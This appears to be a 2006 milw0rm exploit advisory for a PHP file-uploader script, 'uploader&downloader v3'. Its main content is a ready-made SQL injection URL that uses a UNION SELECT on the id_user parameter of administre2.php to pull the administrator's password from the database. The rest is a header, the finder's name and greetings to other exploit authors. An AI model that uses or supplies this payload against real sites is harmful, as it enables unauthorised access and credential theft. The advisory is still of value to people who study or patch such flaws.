16 lines
620 B
Text
Executable file
16 lines
620 B
Text
Executable file
########################################################################
|
|
# uploader&downloader v3 Remote SQL Injection Vulnerability
|
|
#
|
|
# Download: ftp://ftp1.comscripts.com/PHP/1892_uploader-30.zip
|
|
#
|
|
# Found By: the master
|
|
#
|
|
########################################################################
|
|
# exploit:
|
|
#
|
|
# http://[Target]/[Path]/administration/administre2.php?id_user=-1%20UNION%20SELECT%20null,passe,null,null%20FROM%20connect_upload_fichier%20WHERE%20id_user=1
|
|
#
|
|
# Greetz: str0ke , Dr Max Virus , Kacper
|
|
########################################################################
|
|
|
|
# milw0rm.com [2006-12-18]
|